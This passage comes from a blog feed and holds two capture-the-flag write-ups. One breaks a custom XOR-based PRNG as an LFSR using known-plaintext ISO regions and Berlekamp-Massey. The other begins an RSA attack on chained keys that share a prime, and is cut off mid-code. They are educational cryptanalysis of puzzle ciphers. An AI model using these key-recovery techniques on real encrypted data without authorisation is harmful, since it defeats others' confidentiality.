    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m_state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_ofs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;m_state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_ofs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;m_ofs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_ofs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The first thing that stands out is that &lt;code&gt;m_ofs&lt;/code&gt; is incremented twice
(both as a post-increment when setting &lt;code&gt;m_state[m_ofs++]&lt;/code&gt;, and as an
explicit addition-and-set in the next line). Since &lt;code&gt;N&lt;/code&gt; is odd, this
means that only half the number of bytes of &lt;code&gt;m_state&lt;/code&gt; are changing as
&lt;code&gt;next()&lt;/code&gt; is called over time, and the other half remain unchanged
throughout the code. This is not yet enough for us to attack the
system, however.&lt;/p&gt;

&lt;p&gt;The next thing to notice is that the &lt;code&gt;m_key&lt;/code&gt; is never changed (thus we
can treat it as an unknown but completely constant value for our
purposes, since we are only analyzing a single ciphertext), and that
it is only &lt;code&gt;m_state&lt;/code&gt; that changes. Thus the total maximum internal
state of the RNG is ~20,002 bytes (20,000 bytes for &lt;code&gt;m_state&lt;/code&gt; and ~15
bits for the &lt;code&gt;m_ofs&lt;/code&gt; to store even numbers between 0 and 40,000). This
is fairly large. If this was (much) smaller, we may have ended up with
a PRNG with a small fixed period which we could then have applied
statistical techniques on the ciphertext to recover the
plaintext. Unfortunately, this attack is not applicable in this
challenge.&lt;/p&gt;

&lt;p&gt;And so, we look into how the state is actually being stored and how
the random data is being computed. We notice that all the operations
that are being performed on &lt;code&gt;o&lt;/code&gt; and &lt;code&gt;m_state&lt;/code&gt; are bitwise operations
(i.e., bitwise AND &lt;code&gt;&amp;amp;&lt;/code&gt; and bitwise XOR &lt;code&gt;^&lt;/code&gt;). Without any shifts,
rotates, additions, multiplications, etc., there is no way for
different bits of each byte to interact amongst each other, and each
bit position can be treated completely independently. Thus, we can
reimagine this PRNG (that produces bytes) as 8 separate (independent)
PRNGs (that produce bits). Each of them have their own initial
starting state (of &lt;code&gt;m_state&lt;/code&gt; and &lt;code&gt;m_key&lt;/code&gt;) that is independent from one
another, and consists of 40,000 + 40,000 bits of information, with a
state size of ~20,000 bits each.&lt;/p&gt;

&lt;h2&gt;Recognizing the PRNG&lt;/h2&gt;

&lt;p&gt;At this point, we know that we have to defeat a PRNG that produced
bits and must start to sketch out what the PRNG is actually doing. For
this, we take a smaller sized state (say 10 bits) and sketch out what
each &lt;code&gt;next()&lt;/code&gt; operation would look like. We find that the key strictly
acts like a selection (since it is an &lt;code&gt;&amp;amp;&lt;/code&gt; with either a &lt;code&gt;0&lt;/code&gt; or a &lt;code&gt;1&lt;/code&gt;)
of bits of the state that are XOR&amp;#39;d with each other, and then placed
into one of the bits, and then the offset is moved over, and the
process repeats.&lt;/p&gt;

&lt;p&gt;Instead, if we think of the offset not changing, we can model it by
rotating &lt;code&gt;m_state&lt;/code&gt; towards the left by 2 (because of the double
increment that we noticed earlier) upon each call of &lt;code&gt;next()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Visualized this way, this looks suspiciously like a &lt;a href=&quot;https://en.wikipedia.org/wiki/Linear-feedback_shift_register&quot;&gt;Linear-Feedback Shift
Register&lt;/a&gt;
(or LFSR for short). It is not exactly an LFSR because an LFSR would
shift by 1 each time, but it is close enough that we can probably use
similar attacks as can be used on an LFSR. Let&amp;#39;s name this PRNG a
&amp;quot;doubly-shifted-LFSR&amp;quot; (this is my own name for it, since I am not aware of
a commonly known name for it; if you are aware of one, please do let
me know!).&lt;/p&gt;

&lt;h2&gt;Attacking the Doubly-Shifted LFSR&lt;/h2&gt;

&lt;p&gt;At this point, I was curious as to whether we could show a perfect
equivalence between this doubly-shifted-LFSR and a normal LFSR. If we
could show this equivalence, then we would be able to directly use
LFSR attacks on it, without needing to adapt them at all. My
hypothesis for this came from the fact that if we had the key at all
odd places in the doubly-shifted LFSR as either all 0s or all 1s, then
we would immediately have an LFSR of half the size as the
doubly-shifted LFSR (in the 0 case, those parts of the state are
&lt;em&gt;completely&lt;/em&gt; ignored; and in the 1 case, it leads to a constant that
gets XOR&amp;#39;d with the state at each point, which can be modeled by an
LFSR).&lt;/p&gt;

&lt;p&gt;To convince ourselves that this is indeed the case, we can implement
the doubly-shifted LFSR in Python, and also implement a standard LFSR
recovery program (described soon), and use this to try to recover the
minimal LFSR from the doubly-shifted LFSR&amp;#39;s output. As it turns out,
it is indeed possible to recover an N-bit LFSR for any N-bit
doubly-shifted LFSR (at least as far as a few dozen tests with random
initial states and varying values of N showed). At times, it may even
recover a smaller LFSR, which can happen when (say) there was some
sort of pattern to the key &amp;amp; state in the odd-indexed positions (like
the all 0s or all 1s pattern mentioned above). While we haven&amp;#39;t yet
proven that this is the case, it is a safe enough assumption to make
that a doubly-shifted LFSRs are equivalent to standard LFSRs, and we
can proceed with attacking it as if it is simply a standard LFSR. If
(for any reason) this assumption ends up failing, we will simply have
to look for a new way to attack it. Thankfully the assumption holds at
least in our case.&lt;/p&gt;

&lt;p&gt;To recover the minimal LFSR for a specific output bitstream, one can
use the &lt;a href=&quot;https://en.wikipedia.org/wiki/Berlekamp%E2%80%93Massey_algorithm&quot;&gt;Berlekamp-Massey
algorithm&lt;/a&gt;. This
algorithm provides the minimal linear recurrence that generates the
exact same output bitstream as was given as input to the algorithm. To
be able to recover an &lt;code&gt;N&lt;/code&gt; bit LFSR, we require (at least) &lt;code&gt;2*N&lt;/code&gt; bits
of output. Thus, if we are able to obtain &lt;code&gt;2*N&lt;/code&gt; bits of the key
stream, we can recover the fully structure of the LFSR in the
challenge. Since LFSRs are invertible, we can move forwards and
backwards in the LFSR to obtain any other portion of the keystream we
want/need once we have recovered its internal structure. Due to this
forward and backward nature, &lt;em&gt;any&lt;/em&gt; &lt;code&gt;2*N&lt;/code&gt; continuous bits are
sufficient to obtain its structure and to recover the entire
keystream.&lt;/p&gt;

&lt;p&gt;However, all we have is an encrypted (i.e. XOR&amp;#39;d) stream. How can we
recover the keystream to perform the attack?&lt;/p&gt;

&lt;h2&gt;Attacking the ISO File Format&lt;/h2&gt;

&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Optical_disc_image&quot;&gt;ISO Optical Disc
Image&lt;/a&gt; file format
is standardized as the &lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_9660&quot;&gt;ISO
9660&lt;/a&gt; technical standard which
describes the file system used for optical media. Since our
&lt;a href=&quot;./flag.iso.enc&quot;&gt;flag.iso.enc&lt;/a&gt; is an encrypted version of this
format, we can look for peculiar properties that might help us obtain
any information we need. For a XOR-based cipher, if we have a portion
of the plaintext known, then we immediately know that portion of the
keystream. Thus, we are looking for regions of the ISO file that have
fixed known values (such as magic numbers, or file/segment/structure
sizes etc.) or are amongst a small number of possible values (for
example, if a field is a boolean, or is from a small collection of
integers).&lt;/p&gt;

&lt;p&gt;If we can find a contiguous segment of 80,000 bytes, then we
immediately have a full break on the system. Reading through the
Wikipedia page on &lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_9660&quot;&gt;ISO 9660&lt;/a&gt;,
we find this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The system area, the first 32,768 data bytes of the disc (16 sectors
of 2,048 bytes each), is unused by ISO 9660 and therefore available
for other uses.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is interesting. Unused areas are usually set of 0s (i.e. NUL
bytes) by many programs/utilities, and thus it is possible that the
first 32,768 bytes of the file are directly the keystream. Indeed if
we check a few random ISO files downloaded from the internet (such as
from Linux distros) those first few bytes are always
0s. Unfortunately, this is less than the 80,000 bytes we need, but it
is a good start. It also indicates to us that there may be more
contiguous regions around.&lt;/p&gt;

&lt;p&gt;Reading further, we can find some other regions of the disc that are
fixed values, or are amongst a small set of values, but are not long
enough for us to perform the attack easily. At this point, we can
simply stare at the actual bytes in the few downloaded ISO files to
see if there are any large contiguous regions that existed on all of
them. And yes, indeed there are! The last few 10s of thousands of
bytes of the file seem to always be 0s. At this point, we can make the
assumption that &lt;code&gt;2*N&lt;/code&gt; bytes might be 0s in the plaintext version of
&lt;code&gt;flag.iso.enc&lt;/code&gt; too, and thus implement the attack. If our assumption
is wrong, the recovered key material will clearly be wrong (since we
won&amp;#39;t obtain the required ISO 9660 headers at the start of the file)
and if so, we can look for other regions to attack. Thankfully this
assumption works out in the end!&lt;/p&gt;

&lt;h2&gt;Putting it all together&lt;/h2&gt;

&lt;p&gt;Now that we have a nice overall plan of attack, it is time for us to
write down the attack script. We perform the attack on each bit
position separately, by iterating over all 8 possible
&lt;code&gt;bit_position&lt;/code&gt;s. We begin by using the &lt;a href=&quot;https://en.wikipedia.org/wiki/Berlekamp%E2%80%93Massey_algorithm&quot;&gt;Berlekamp-Massey
Algorithm&lt;/a&gt;
on the last &lt;code&gt;BACKWARD_DEPTH&lt;/code&gt; bits extracted from
&lt;a href=&quot;./flag.iso.enc&quot;&gt;flag.iso.enc&lt;/a&gt;. We use a &lt;code&gt;BACKWARD_DEPTH&lt;/code&gt; that is
larger than &lt;code&gt;2*N&lt;/code&gt; so that we can perform extra sanity checks. When we
perform the Berlekamp-Massey Algorithm, we obtain the minimal LFSR
that could represent the bits we gave it, which means that if this
LFSR is larger than 40,000 (our value of &lt;code&gt;N&lt;/code&gt;) then we know for a fact
that at least one value in the plaintext in the last &lt;code&gt;BACKWARD_DEPTH&lt;/code&gt;
bytes of the file is non-zero. Thankfully, this is not the case, and
we are able to obtain a set of 8 LFSRs of size 40,000, one for each
bit.&lt;/p&gt;

&lt;p&gt;Since this algorithm is time consuming, we run the code using
&lt;a href=&quot;https://www.pypy.org/&quot;&gt;PyPy&lt;/a&gt; which is an alternate implementation of
Python which is significantly faster since it uses a JIT
compiler. Nonetheless, this still takes a few minutes to run, and thus
it is a good idea to cache the results when iterating on the attack.&lt;/p&gt;

&lt;p&gt;Once we have recovered these 8 LFSRs, we need to run them in reverse
to obtain the keystream for the rest of the file. Since the LFSR needs
to look at ~40,000 values of its state for each bit it can produce, as
you would expect, this is also slow. It is however helped by PyPy
again.&lt;/p&gt;

&lt;p&gt;Once we have obtained the whole keystream for each bit, we can merge
these keystreams to get it as a byte-based keystream, and use this to
recover the plaintext by simply performing a bitwise XOR across the
ciphertext. We output this to a file &lt;code&gt;output.iso&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If we run the final &lt;a href=&quot;./solve.py&quot;&gt;script&lt;/a&gt; we get this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;./bannerimage.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ pypy3 ./solve.py
[+] Make sure you are running this with pypy3, else you will be sad...
[+] Starting Berlekamp-Massey on the last 100000 bytes; once per bit
    ... brew a cup of coffee and come back.
    It&amp;#39;s gonna take a few minutes
100%|███████████████████████████████████| 8/8 [07:09&amp;lt;00:00, 53.64s/it]
[+] Have a poly of size [40000, 39999, 39992, 39998, 39989, 39999, 40000, 39997]
[+] Reversing the LFSR to recover key material
    ... brew yet another cup of coffee and come back.
    It&amp;#39;s gonna take a few minutes
100%|███████████████████████████████████| 8/8 [07:13&amp;lt;00:00, 54.16s/it]
100%|████████████████████| 1012672/1012672 [00:54&amp;lt;00:00, 18431.75it/s]
[+] Reversed key material.
[+] Merged bits.
[+] Recovered plaintext.
[+] Saved to output.iso!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Approximately 10~15 minutes of execution later, we obtain &lt;code&gt;output.iso&lt;/code&gt;
which we check to see that it is indeed an ISO file:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ file output.iso
output.iso: ISO 9660 CD-ROM filesystem data &amp;#39;CDROM&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We then mount the file &lt;code&gt;mkdir temp &amp;amp;&amp;amp; sudo mount output.iso temp &amp;amp;&amp;amp; cd
temp&lt;/code&gt;, and inside the file-system, we find a single file -
&lt;a href=&quot;./flag.htm&quot;&gt;flag.htm&lt;/a&gt; which is a rendered version of the flag:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;pbctf{y0u_c4n_s0lVE_To3plitZ_SYStems_1n_SQuAre_TiMe}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Closing Thoughts&lt;/h2&gt;

&lt;p&gt;Overall, this challenge was super fun to solve. It was a nice mix of
understanding file formats, making simple assumptions to make
progress, and validating those assumptions as we go along.&lt;/p&gt;

&lt;p&gt;For what it&amp;#39;s worth, the flag that we obtain refers to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Toeplitz_matrix&quot;&gt;Toeplitz
matrix&lt;/a&gt; which is a
matrix &lt;code&gt;A&lt;/code&gt; where &lt;code&gt;A[i][j] == A[i+1][j+1]&lt;/code&gt; for all &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;j&lt;/code&gt;. I was
not aware of what this matrix is called, but indeed this can be used
to nicely model what the PRNG in this problem is doing. And indeed
there appears to be a quadratic time algorithm (rather than the naive
cubic time algorithm for normal matrices) to solve an equation of the
form &lt;code&gt;Ax = b&lt;/code&gt; where &lt;code&gt;A&lt;/code&gt; is a Toeplitz matrix. This algorithm can thus
be used to solve this challenge, and this appears to be the expected
solution (at least based upon what&amp;#39;s written in the flag). This is
definitely more elegant, and indeed along my path towards solving it,
I did write it down in this matrix form, and I guessed that there must
be a faster solution than cubic to be able to solve this equation due
to the fewer degrees of freedom, but I didn&amp;#39;t know what this matrix
was called, and thus was unable to search for the right things to find
it. However, I was able to recognize parallels to the LFSR (which is a
classic, albeit broken, way to implement a PRNG), which ended up being
sufficient to solve the challenge.&lt;/p&gt;

&lt;p&gt;Cheers to &lt;a href=&quot;https://github.com/braindead&quot;&gt;braindead&lt;/a&gt; of &lt;a href=&quot;https://perfect.blue/&quot;&gt;Perfect
Blue&lt;/a&gt; for making this challenge. This was a lot
of fun :)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>RSA Chained (Dragon CTF Teaser 2019)</title>
   <link href="https://www.jaybosamiya.com/blog/2019/09/25/rsachained/"/>
   <updated>2019-09-25T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2019/09/25/rsachained</id>
   <content type="html">&lt;p&gt;&lt;img src=&quot;/blog/2019/09/25/rsachained/dsctf.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this challenge, we need to recover a message that is encrypted
through 4 different RSA keys, while knowing some of the bits of the
private keys. In particular, we are given &lt;a href=&quot;./task.py&quot;&gt;code&lt;/a&gt; that
generates 4 different RSA keys (of ~2100 bits each), permutes them,
encrypts the flag by each of them in succession, and then provides us
the encrypted flag. Additionally, we are given the moduli of the keys,
as well as the lower half (i.e., least significant 1050 bits) of the
private keys. These are given to us in &lt;a href=&quot;./output.txt&quot;&gt;output.txt&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The only other info that is given to us is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Keys are generated in the standard way with the default setup...&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let&amp;#39;s first sketch out how the keys are generated. We name everything
using SSA-style (i.e., give new names each time we reassign a variable
to a new value) so that we can better keep track of things:&lt;/p&gt;

&lt;table border=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot; rules=&quot;groups&quot; frame=&quot;hsides&quot;&gt;


&lt;colgroup&gt;
&lt;col  class=&quot;org-left&quot; /&gt;

&lt;col  class=&quot;org-left&quot; /&gt;

&lt;col  class=&quot;org-left&quot; /&gt;
&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th scope=&quot;col&quot; class=&quot;org-left&quot;&gt;RSA Modulus&lt;/th&gt;
&lt;th scope=&quot;col&quot; class=&quot;org-left&quot;&gt;Use&lt;/th&gt;
&lt;th scope=&quot;col&quot; class=&quot;org-left&quot;&gt;Size (Bits)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;n1&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;p1 q1&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;700 + 1400&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;n2&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;p2 q2 r2&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;700 + 700 + 700&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;n3&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;p3 q3 r2&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;700 + 700 + 700&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;n4&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;p4 q4 q4&lt;/td&gt;
&lt;td class=&quot;org-left&quot;&gt;700 + 700 + 700&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Notice how we have a repeated &lt;code&gt;r2&lt;/code&gt;? This will help us soon.&lt;/p&gt;

&lt;p&gt;Another thing to note here is that n1, n2, n3, n4 are not in the order
we get them in output.txt &amp;#x2013; the order we get is in sorted order.&lt;/p&gt;

&lt;p&gt;Let&amp;#39;s call the keys we get as &lt;code&gt;ns[0] .. ns[3]&lt;/code&gt;, to keep them separate
from n1, &amp;#x2026; n4. Also, let&amp;#39;s called the partial private keys as
&lt;code&gt;nerf_ds[0] .. nerf_ds[3]&lt;/code&gt;, since we have only a part of them.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;itertools&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;gmpy2&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;./output.txt&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;enc_flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;nerf_ds&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Recall that there was a repeated &lt;code&gt;r2&lt;/code&gt;. We can recover this, and also
figure out part of the permutations by simply performing a pairwise
GCD of the different moduli.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;itertools&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;product&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
